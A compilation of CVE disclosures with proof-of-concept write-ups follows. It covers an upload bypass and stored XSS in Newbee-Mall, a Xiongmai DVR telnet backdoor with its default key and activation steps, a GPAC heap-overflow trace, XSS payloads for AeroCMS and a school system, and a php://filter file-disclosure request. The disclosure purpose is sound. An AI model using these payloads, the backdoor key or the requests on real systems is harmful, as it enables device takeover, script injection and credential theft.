Newbee-Mall v1.0.0 was discovered to contain an arbitrary file upload via the Upload function at /admin/goods/edit.

\[Suggested description\]  
A file upload vulnerability exists in NewBee mall. Because the upload method of uploadcontroller can bypass the upload restriction by modifying the file format suffix.

\[Vulnerability Type\]  
File upload vulnerability

\[Vendor of Product\]  
https://github.com/newbee-ltd/newbee-mall

\[Affected Product Code Base\]  
v1.0.0

\[Affected Component\]  
POST /admin/upload/file HTTP/1.1  
Host: localhost:28089  
Content-Length: 671  
Cache-Control: max-age=0  
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"  
sec-ch-ua-mobile: ?0  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost:28089/  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoXATzrr6JWhnTx5Q  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,_/_;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Dest: iframe  
Referer: http://localhost:28089/admin/goods/edit/10907  
Accept-Encoding: gzip, deflate  
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8  
Cookie: locale=zh-cn; Hm\_lvt\_a4980171086658b20eb2d9b523ae1b7b=1645520663,1645696647; JSESSIONID=11D044F12F07C3F2772AC7EE836610E2  
Connection: close

\------WebKitFormBoundaryoXATzrr6JWhnTx5Q  
Content-Disposition: form-data; name="file"; filename="1.html.png"  
Content-Type: image/png

<script type="text/javascript" src="http://www.qq.com/404/search\_children.js" charset="utf-8" homePageUrl="{{domain}}" homePageName="{{siteName}}"></script>

            <script>alert("xss")</script>
        </div>
    </div>
    

\------WebKitFormBoundaryoXATzrr6JWhnTx5Q--

\[Impact Code execution\]  
true

\[Vulnerability proof\]  
1.Access address http://localhost:28089/admin/goods , select a commodity information to modify and enter the file upload page.  
![image](https://user-images.githubusercontent.com/85676107/156484791-7cf3819d-08ae-4b5a-b6dd-c41ca09e25f1.png)  
2.Open burpsuite packet capturing agent and click to upload pictures.  
![image](https://user-images.githubusercontent.com/85676107/156484843-1ac1fefa-ee37-45dd-a800-bf6fd74d788d.png)  
3.By default, the system only supports JPG, PNG and GIF files. We can bypass them by modifying the file suffix.  
![image](https://user-images.githubusercontent.com/85676107/156484894-ec280ca5-9f84-4499-9763-e57fb297b504.png)  
4.Modify the value of filename to 1.html  
![image](https://user-images.githubusercontent.com/85676107/156484948-9d5736a9-5132-4f65-8a7b-e6f0b281c3e3.png)  
Get the access path to file upload  
![image](https://user-images.githubusercontent.com/85676107/156484999-7ae125b6-0f2c-4a1d-bb89-a0496dc26126.png)  
Complete data update  
![image](https://user-images.githubusercontent.com/85676107/156485043-07f12491-d25b-4c33-89fd-107211a2431c.png)  
5.Access the upload file path, and the vulnerability reproduction is completed.  
![image](https://user-images.githubusercontent.com/85676107/156485114-79f128cd-a0fb-4d86-8e48-5b101d3c24b8.png)

\[Defective code\]  
![image](https://user-images.githubusercontent.com/85676107/156485179-496031ed-1ff4-4d46-bd95-c8c839fde36a.png)

CVE-2022-27477: There is a File upload vulnerability exists in newbee-mall · Issue #63 · newbee-ltd/newbee-mall

A cross-site scripting (XSS) vulnerability at /admin/goods/update in Newbee-Mall v1.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the goodsName parameter.

\[Suggested description\]  
There is a cross site scripting vulnerability in the commodity information modification module in the main version of NewBee mall. The vulnerability stems from the fact that the form submission module that modifies the commodity information does not restrict or escape the sensitive characters entered, causing the execution of malicious JS code to trigger JS pop-up.

\[Vulnerability Type\]  
Cross site scripting vulnerability

\[Vendor of Product\]  
https://github.com/newbee-ltd/newbee-mall

\[Affected Product Code Base\]  
v1.0.0

\[Affected Component\]

    POST /admin/goods/update HTTP/1.1
    Host: localhost:28089
    Content-Length: 392
    sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
    Accept: */*
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
    Content-Type: application/json
    Origin: http://localhost:28089
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://localhost:28089/admin/goods/edit/10907
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Cookie: locale=zh-cn; Hm_lvt_a4980171086658b20eb2d9b523ae1b7b=1645520663,1645696647; JSESSIONID=5B28A8C926D035BCC4A809131899B51D
    Connection: close
    
    {"goodsId":"10907","goodsName":"鐖辩柉<script>alert(\"xss\")</script>","goodsIntro":"xxx","goodsCategoryId":"47","tag":"鐖辩柉","originalPrice":"1","sellingPrice":"1","stockNum":"0","goodsDetailContent":"<p>hhh</p><p><br/></p>","goodsCoverImg":"http://localhost:28089/upload/20220303_10153124.html","goodsCarousel":"http://localhost:28089/upload/20220303_10153124.html","goodsSellStatus":"0"}
    

\[Impact Code execution\]  
true

\[Vulnerability proof\]  
1.Access address http://localhost:28089/admin/goods , select the commodity information to be modified and enter information editing.  
![image](https://user-images.githubusercontent.com/85676107/156488864-c47eee7c-1052-44a4-af50-a2febdbf9888.png)

2.Enter <script>alert(“xss”)</script> in the input box and click Save to complete the form information submission.  
![image](https://user-images.githubusercontent.com/85676107/156488901-ae7b7b65-2326-4aa5-9365-340ac7b58c20.png)

![image](https://user-images.githubusercontent.com/85676107/156488941-164b4a54-15b1-40f7-8c1b-902e0a168479.png)

3.The pop-up window is triggered when the page is refreshed, and the loophole reproduction is completed  
![image](https://user-images.githubusercontent.com/85676107/156488974-0f39a2b7-a699-4f35-a7ee-1a25e54a693d.png)

CVE-2022-27476: There is a Cross site scripting vulnerability exists in newbee-mall · Issue #64 · newbee-ltd/newbee-mall

FOSCAM Camera FI9805E with firmware V4.02.R12.00018510.10012.143900.00000 contains a backdoor that opens Telnet port when special command is sent on port 9530.

![](https://habrastorage.org/r/w1560/webt/r_/3d/ko/r_3dkof6_ydvswrt0m0pbe3pd4q.png)

This is a full disclosure of recent backdoor integrated into DVR/NVR devices built on top of HiSilicon SoC with Xiaongmai firmware. Described vulnerability allows attacker to gain root shell access and full control of device. Full disclosure format for this report has been chosen due to lack of trust to vendor. Proof of concept code is presented below.  

**Previous work and historical context**

Earliest known versions of it had telnet access enabled with a static root password which can be recovered from firmware image with (relatively) little computation effort. This vulnerability was covered by previous author's article (in Russian) in 2013. In 2017 Istvan Toth did a most comprehensive analysis of DVR device's firmware. He also discovered remote code execution vulnerability in the built-in webserver and many other vulnerabilities. It's worth noting that disclosure was ignored by vendor.

More recent firmware versions had telnet access and debug port (9527/tcp) disabled by default. Instead they had open port 9530/tcp which was used to accept special command to start telnet daemon and enable shell access with static password which is the same for all devices. Such case was covered by these articles:

*   https://www.cnblogs.com/mmseh/p/6537924.html, 2017 (in Chinese)
*   https://habr.com/ru/post/332526/, 2017 (in Russian, by Habr user CentALT)

Most recent firmware versions have open port 9530/tcp listening for special commands, but require cryptographic challenge-response authentication for them to be committed. This is a subject of actual disclosure.

**Technical details**

Vulnerable DVR/NVR/IP camera devices under discussion are running Linux with minimal set of utilities provided by busybox, main video application `Sofia` and a small set of custom auxilary utilities responsible for support of device operation. Hardware has ARM-based CPU tens to hundreds megabytes of RAM.

Device with vulnerable firmware has `macGuarder` or `dvrHelper` process running and accepting connections on TCP port 9530. Code and log strings suggest that `macGuarder` formerly was a separate process, but later it's functions were merged into `dvrHelper` process as a separate thread.

It's worth noting that earlier versions of firmware had dvrHelper process compiled into busybox as additional applet. Taking into account busybox has GNU GPL license, it is possible that license violation takes place because dvrHelper software was distributed without source code.

Successful backdoor activation process is following:

1.  Client opens connection to port TCP port 9530 of device and sends string `OpenTelnet:OpenOnce` prepended with byte indicating total message length. This step is last for previous versions of backdoor. Probably telnetd was already started if there no response after this step.
2.  Server (device) anwers with string `randNum:XXXXXXXX` where `XXXXXXXX` is 8-digit random decimal number.
3.  Client uses it's pre-shared key and constructs encryption key as concatenation of received random number and PSK.
4.  Client encrypts random number with encryption key and sends it after string `randNum:`. Entire message is prepended with byte indicating total length of message.
5.  Server loads same pre-shared key from file `/mnt/custom/TelnetOEMPasswd` or uses default key `2wj9fsa2` if file is missing.
6.  Server performs encryption of random number and verifies result is identical with string from client. On success server sends string `verify:OK` or `verify:ERROR` otherwise.
7.  Client encrypts string `Telnet:OpenOnce`, prepends it with total length byte, `CMD:` string and sends to server.
8.  Server extracts and decryptes received command. If decryption result is equal to string `Telnet:OpenOnce` it responds with `Open:OK`, enables debug port 9527 and starts telnet daemon.

Entire authentication process may resemble some sort of HMAC challenge-response authentication except it uses symmetric cipher instead of hash. This particular symmetric cipher resembles some variation of 3DES-EDE2 for keys longer than 8 bytes and similar to simple DES for shorter keys.

It's easy to see that all clients need for successful authentication is knowledge of PSK (which is common and can be retrieved from firmware in plaintext) and implementation of that symmetric block cipher. Recovery of that symmetric cipher implementation is most difficult, but it was achieved during this research. Exploration and tests were conducted using this set of tools:

*   Ghidra 9.1.1 from NSA (https://ghidra-sre.org/) — suite for binary executeble code inspection.
*   QEMU (more specifically qemu-user in Debian chroot — https://www.qemu.org/) — software which allows foreign architecture binaries (ARM) to be executed transparently on host.
*   Common GNU utilities and toolchain.

Once telnet daemon activated, it's very likely it will accept one of following login/password pairs:

These passwords can be recovered from firmware as well by bruteforce of hash in `/etc/passwd` file. Modern consumer-grade GPGPU with hashcat is capable to find pre-image for hash in a matter of hours.

Debug port 9527 accepts same login/password as Web UI and it also provides some shell access and functions to control the device. Speaking of Web UI accounts, attacker may reset password or grab password hashes from `/mnt/mtd/Config/Account*` files. Hash function was described in previous research by Istvan Toth.

**Affected devices**

Previous research has a good collection of brands affected: https://github.com/tothi/pwn-hisilicon-dvr#summary. There are dozens of brands and hundreds of models.

Author of this report, reposing on survey across population of random IP addresses, estimates total number of vulnerable devices exposed via Internet somewhere between hundreds of thousands and millions.

Probably, the easiest way to check whether your device is vulnerable is PoC code provided below.

**Testing vulnerability**

PoC code: https://github.com/Snawoot/hisilicon-dvr-telnet.

Building PoC program from source: run `make` in source directory.

Usage: `./hs-dvr-telnet HOST PSK`

Most common PSK is default one: `2wj9fsa2`.

Example session:

$ telnet 198.51.100.23
Trying 198.51.100.23...
telnet: Unable to connect to remote host: Connection refused
$ ./hs-dvr-telnet 198.51.100.23 2wj9fsa2
Sent OpenTelnet:OpenOnce command.
randNum:46930886
challenge=469308862wj9fsa2
verify:OK
Open:OK
$ telnet 198.51.100.23
Trying 198.51.100.23...
Connected to 198.51.100.23.
Escape character is '^\]'.
LocalHost login: root
Password: 

IP address in example above is an IP address from address block reserved for documentation by RFC5737.

Device should be considered vulnerable if:

*   Telnet port opens after `hs-dvr-telnet` run.
*   Device responds with challenge on `hs-dvr-telnet` inquiry. Even if verification fails due to wrong PSK, there exists correct PSK extractable from firmware.
*   hs-dvr-telnet stucks awaiting for response, but telnet port opens (this will happen with older firmware versions which require only `OpenTelnet:OpenOnce` command).

  
**Mitigation**

Taking into account earlier bogus fixes for that vulnerability (backdoor, actually) it is not practical to expect security fixes for firmware from vendor. Owners of such devices should consider switching to alternatives.

However, if replacement is not possible, device owners should completely restrict network access to these devices to trusted users. Ports involved in this vulnerability is 23/tcp, 9530/tcp, 9527/tcp, but earlier researches indicate there is no confidence other services implementation is solid and doesn't contain RCE vulnerabilities.

**Subjects not covered by this research**

Code analysis revealed that authentication procedure on port 9530 decrypts «CMD» payload with arbitrary size (up to size of buffer read from socket at once) into a buffer on stack with fixed size of 32 bytes. Targeted exploitation of this overflow requires knowledge of PSK, therefore it's more practical to proceed normal way to gain access. On the other hand, garbage sent with CMD command may cause stack corruption and dvrHelper daemon failure. Possible effects of that (potential) failure wasn't explored because macGuarder/dvrHelper backdoor functionality appears strictly superior and straightforward approach.

**UPDATE** (2020-02-05 02:10+00:00): Istvan Toth, author of previous research on this subject, presented his own implementation of PoC program: https://github.com/tothi/hs-dvr-telnet Given implementation is written in pure Python code and implements symmetric cipher in more clear way. Also it outlines differences between 3DES cipher variant used by Xiongmai for backdoor authentication and original 3DES cipher. These differences can be expressed by this git commit: https://github.com/tothi/pyDes/commit/7a26fe09dc5b57b175c6439fbbf496414598a7a2.

**UPDATE** (2020-02-05 17:28+00:00): Other researchers and habr users had pointed out such vulnerability is restricted to devices based on Xiongmai (Hangzhou Xiongmai Technology Co, XMtech) software, including products of other vendors which ship products based on such software. At this moment HiSilicon can't be held responsible for backdoor in dvrHelper/macGuarder binary.

**UPDATE** (2020-02-21 10:30+00:00): Xiaongmai acknowledged vulnerability and released a Security Advisory: link, archive 1, archive 2. Body of actual article has been updated accordingly in order to reflect origin of vulnerability properly.

CVE-2021-43517: Full disclosure: 0day vulnerability (backdoor) in firmware for Xiaongmai-based DVRs, NVRs and IP cameras

GPAC mp4box 1.1.0-DEV-rev1759-geb2d1e6dd-has a heap-buffer-overflow vulnerability in function gf_isom_apple_enum_tag.

**Description**

There is a heap buffer overflow detected by AddressSanitizer

**System info**

    Ubuntu 20.04.2 LTS
    clang version 12.0.0-++20210402082642+04ba60cfe598-1~exp1~20210402063359.71
    MP4Box - GPAC version 1.1.0-DEV-rev1759-geb2d1e6dd-master
    

**Build command**

    ./configure --static-mp4box --prefix=`realpath ./install` --enable-sanitizer --cc=clang --cxx=clang++
    

**crash command**

    MP4Box -frag 1 -out /dev/null poc_file
    

**Pocs**

poc.zip

**Crash output**

    ==36294==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000014f5 at pc 0x0000007ed95d bp 0x7fff9dbe5110 sp 0x7fff9dbe5108
    READ of size 1 at 0x6020000014f5 thread T0
        #0 0x7ed95c in gf_isom_apple_enum_tag /programs/mp4box/builds/build15/src/isomedia/isom_read.c:4347:9
        #1 0x1578ec6 in isor_declare_track /programs/mp4box/builds/build15/src/filters/isoffin_load.c:787:8
        #2 0x1583b47 in isor_declare_objects /programs/mp4box/builds/build15/src/filters/isoffin_load.c:1453:3
        #3 0xd05c0d in isoffin_initialize /programs/mp4box/builds/build15/src/filters/isoffin_read.c:485:8
        #4 0xb74a43 in gf_filter_new_finalize /programs/mp4box/builds/build15/src/filter_core/filter.c:441:8
        #5 0xb73120 in gf_filter_new /programs/mp4box/builds/build15/src/filter_core/filter.c:395:7
        #6 0xb5e1bb in gf_fs_load_filter_internal /programs/mp4box/builds/build15/src/filter_core/filter_session.c:1293:13
        #7 0x911528 in gf_media_fragment_file /programs/mp4box/builds/build15/src/media_tools/isom_tools.c:3789:6
        #8 0x4e6fdc in mp4boxMain /programs/mp4box/builds/build15/applications/mp4box/main.c:6439:7
        #9 0x7f7b5af220b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #10 0x41ea6d in _start (/programs/mp4box/builds/build15/bin/gcc/MP4Box+0x41ea6d)
    
    0x6020000014f5 is located 0 bytes to the right of 5-byte region [0x6020000014f0,0x6020000014f5)
    allocated by thread T0 here:
        #0 0x499ccd in malloc (/programs/mp4box/builds/build15/bin/gcc/MP4Box+0x499ccd)
        #1 0x12c648d in databox_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_apple.c:247:22
        #2 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
        #3 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
        #4 0x12c53c3 in ilst_item_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_apple.c:114:7
        #5 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
        #6 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
        #7 0x12c4d35 in ilst_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_apple.c:47:8
        #8 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
        #9 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
        #10 0x7affe3 in gf_isom_box_array_read_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1719:7
        #11 0x132290a in meta_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_meta.c:106:13
        #12 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
        #13 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
        #14 0x7affe3 in gf_isom_box_array_read_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1719:7
        #15 0x12f6245 in udta_box_read /programs/mp4box/builds/build15/src/isomedia/box_code_base.c:8075:13
        #16 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
        #17 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
        #18 0x7affe3 in gf_isom_box_array_read_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1719:7
        #19 0x7ae1ed in gf_isom_box_read /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:1826:9
        #20 0x7ae1ed in gf_isom_box_parse_ex /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:264:14
        #21 0x7ad3c1 in gf_isom_parse_root_box /programs/mp4box/builds/build15/src/isomedia/box_funcs.c:38:8
        #22 0x7c8dc1 in gf_isom_parse_movie_boxes_internal /programs/mp4box/builds/build15/src/isomedia/isom_intern.c:351:7
        #23 0x7c8dc1 in gf_isom_parse_movie_boxes /programs/mp4box/builds/build15/src/isomedia/isom_intern.c:814:6
        #24 0x7cd1a6 in gf_isom_open_file /programs/mp4box/builds/build15/src/isomedia/isom_intern.c:934:19
        #25 0x4e14d6 in mp4boxMain /programs/mp4box/builds/build15/applications/mp4box/main.c:5968:12
        #26 0x7f7b5af220b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /programs/mp4box/builds/build15/src/isomedia/isom_read.c:4347:9 in gf_isom_apple_enum_tag
    Shadow bytes around the buggy address:
      0x0c047fff8240: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 00
      0x0c047fff8250: fa fa 00 00 fa fa 00 00 fa fa 00 04 fa fa 00 fa
      0x0c047fff8260: fa fa 00 00 fa fa 00 00 fa fa 01 fa fa fa 00 00
      0x0c047fff8270: fa fa 00 05 fa fa 00 00 fa fa 00 01 fa fa 00 00
      0x0c047fff8280: fa fa 00 00 fa fa 02 fa fa fa 00 00 fa fa 00 02
    =>0x0c047fff8290: fa fa 00 00 fa fa 00 04 fa fa 00 00 fa fa[05]fa
      0x0c047fff82a0: fa fa 00 00 fa fa 02 fa fa fa 00 00 fa fa 00 fa
      0x0c047fff82b0: fa fa 00 00 fa fa 00 00 fa fa 06 fa fa fa 00 00
      0x0c047fff82c0: fa fa 02 fa fa fa 00 00 fa fa 02 fa fa fa 00 00
      0x0c047fff82d0: fa fa 03 fa fa fa 00 00 fa fa 02 fa fa fa 00 00
      0x0c047fff82e0: fa fa 00 00 fa fa 00 03 fa fa 00 00 fa fa 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==36294==ABORTING

CVE-2022-27146: There is a heap buffer overflow detected by AddressSanitizer · Issue #2120 · gpac/gpac

Social Codia SMS v1 was discovered to contain an arbitrary file upload vulnerability via addteacher.php. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.

CVE-2022-27349: GitHub - D4rkP0w4r/sms-Unrestricted-File-Upload-RCE-POC

Ecommerce-Website v1 was discovered to contain an arbitrary file upload vulnerability via /customer_register.php. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.

CVE-2022-27357: CVEs/POC.md at main · D4rkP0w4r/CVEs

Musical World v1 was discovered to contain an arbitrary file upload vulnerability via uploaded_songs.php. This vulnerability allows attackers to execute arbitrary code via a crafted PHP file.

CVE-2022-27064: GitHub - D4rkP0w4r/Musical-World-Unrestricted-File-Upload-RCE-POC

AeroCMS v0.0.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via view_all_comments.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Comments text field.

**AeroCMS-Comment-Stored\_XSS-POC**

*   `Note` => Don't need register or login account
*   `Description` => `Stored_XSS` at comment box

**Step to Reproduct**

*   Click `Read More` -> input payload `<img/src/onerror=prompt(10)>` at `Author` -> click `Submit` button

**Exploit****Vulnerable Code****POC**

*   `Injection Point`

comment\_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment\_email=bin%40gmail.com&comment\_content=hacked&create\_comment=

*   `Request`

POST /AeroCMS/post.php?p\_id=36 HTTP/1.1
Host: localhost:8080
Content-Length: 126
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="95", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/AeroCMS/post.php?p\_id=36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=loqbt1ibs376hge1s415srq441
Connection: close

comment\_author=%3Cimg%2Fsrc%2Fonerror%3Dprompt%2810%29%3E&comment\_email=bin%40gmail.com&comment\_content=hacked&create\_comment=

`POC VIDEO` https://drive.google.com/file/d/1GxOyX1JkG0trfdaCLfe06TR6WLIGoUXE/view?usp=sharing

CVE-2022-27063: GitHub - D4rkP0w4r/AeroCMS-Comment-Stored_XSS-Poc

Social Codia SMS v1 was discovered to contain a stored cross-site scripting (XSS) vulnerability via add_post.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Post Title text field.

**sms-Add\_Student-Stored\_XSS-POC**

Description => Stored\_XSS at `Add Student`

**Step to Reproduct**

*   Login to admin -> `Students` -> `Add Student` -> input payload `<img/src/onerror=prompt(10)>` at `Enter Name`

**Exploit**

![image](https://user-images.githubusercontent.com/79050415/158715096-7fe6c540-b7cb-4293-b60f-f0e16b6d445c.png)

**Vulnerable Code**

![image](https://user-images.githubusercontent.com/79050415/158716291-52718f20-b719-44ef-a9ca-21b00e82b2de.png)

*   When inserting into the database, the input is not filtered out bad characters

**POC**

*   `Injection Point`

\------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="name"

<img/src/onerror=prompt(10)>

*   `Request`

POST /sms/admin/addstudent.php HTTP/1.1
Host: localhost:8080
Content-Length: 992
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAvKt9LM2RnnkuA0K
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/sms/admin/addstudent.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=p440fhd7svqid5f063i3epg29k
Connection: close

------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="image"; filename="car.png"
Content-Type: application/octet-stream


------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="rollno"

1234567
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="name"

<img/src/onerror=prompt(10)>
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="contact"

123456
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="standerd"

1
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="city"

Newyork
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="email"

haha@gmail.com
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="gender"

male
------WebKitFormBoundaryAvKt9LM2RnnkuA0K
Content-Disposition: form-data; name="submit"

------WebKitFormBoundaryAvKt9LM2RnnkuA0K--

`POC VIDEO` https://drive.google.com/file/d/1PLRmIi7EBMAXkLMUhUy09PVph1CW6otF/view?usp=sharing

CVE-2022-27348: GitHub - D4rkP0w4r/sms-Add_Student-Stored_XSS-POC

Movie Seat Reservation v1 was discovered to contain an unauthenticated file disclosure vulnerability via /index.php?page=home.

Permalink

Cannot retrieve contributors at this time

**Movie Seat Reservation System File Disclosure**

*   `Note` => don't need login

**Exploit**

*   Exploit with Burp Suite

http://192.168.1.101:8080/Movie\_Seat\_Reservation\_System/index.php?page\=home

![image](https://user-images.githubusercontent.com/79050415/160242883-2539e290-9b33-4267-a38b-a2d37563b0a2.png)

*   Use Burp Suite capture request and payload => `Send` ![image](https://user-images.githubusercontent.com/79050415/160242922-7c29a7ac-787f-47b8-9052-6c5c2d7495cb.png)
*   Then decode `Base64`

 PD9waHAgDQoNCiRjb25uPSBuZXcgbXlzcWxpKCdsb2NhbGhvc3QnLCdyb290JywnJywndGhlYXRlcl9kYicpb3IgZGllKCJDb3VsZCBub3QgY29ubmVjdCB0byBteXNxbCIubXlzcWxpX2Vycm9yKCRjb24pKTsNCg\==    

![image](https://user-images.githubusercontent.com/79050415/160243014-eff96877-37c4-41ba-b4ed-0359cbbece7b.png)

**Vulnerable Code**

![image](https://user-images.githubusercontent.com/79050415/160243179-1a4d1053-eb75-4a8c-9965-52d3eaeb5b18.png)

*   `Request`

GET /Movie\_Seat\_Reservation\_System/index.php?page\=php://filter/convert.base64\-encode/resource\=admin/db\_connect HTTP/1.1
Host: 192.168.1.101:8080
Cache\-Control: max\-age\=0
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q\=0.8,application/signed\-exchange;v\=b3;q\=0.9
Referer: http://192.168.1.101:8080/Movie\_Seat\_Reservation\_System/
Accept\-Encoding: gzip, deflate
Accept\-Language: en\-US,en;q\=0.9
Cookie: PHPSESSID\=0722dtqnb1dgvuono8uubajcae
Connection: close

Tag

#apple